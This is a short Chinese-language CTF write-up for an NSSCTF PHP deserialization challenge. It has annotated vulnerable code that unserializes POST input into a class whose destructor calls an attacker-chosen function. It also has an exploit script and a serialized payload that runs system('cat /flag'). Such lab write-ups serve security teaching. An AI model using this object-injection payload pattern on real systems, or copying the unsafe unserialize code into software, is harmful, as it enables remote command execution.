題目描述:是很簡單的反序列化噢
代碼審計看注釋
<?phpclass lyh{ //定義一個類為lyhpublic $url = 'NSSCTF.com';//公共屬性,初始值為NSSCTF.compublic $lt; //公共屬性,沒有初始值public $lly; //公共屬性,沒有初始值function __destruct() //__destruct()方法是php中的一個魔術方法,當對象被銷毀是自動調用{$a = $this->lt; //在這個方法中$a被賦值為$this->lt,然后$a($this->lly)被調用,這意味這$this->lt應給是一個//可以調用的函數或方法, 而$this-lly是傳遞給這個函數的參數$a($this->lly);}}
unserialize($_POST['nss']);
//這行代碼從POST請求中獲取nss參數,并將其反序列化為php對象。反序列操作會將字符串轉換回PHP對象
highlight_file(__FILE__);?>
- 補充大佬的解釋
a($this->lly)
: 將$this->lly
的值作為參數傳遞給$a
所代表的函數。- $a = $this->lt;$a($this->lly);相當于lt(lly):很想命令執行函數+指令
- 所以我們可以通過構造一個惡意的序列化對象,將自定義的函數傳遞給$lt屬性,然后將要執行的代碼(或指向一個惡意代碼文件的路徑)傳遞給$lly屬性。當對象被序列化后在被反序列化是,__destruct方法會被自動調用,從而執行指定的惡意操作。
- 只要傳參把a變成system();,this-lly變成ls或者cat就是一個簡單的命令注入了system("cat /flag");
寫出php腳本exp
<?php
class lyh{public $url = 'NSSCTF.com';public $lt = "system";public $lly = "cat /flag";
}$sss = new lyh();
echo serialize($sss);
//O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
POST傳參nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}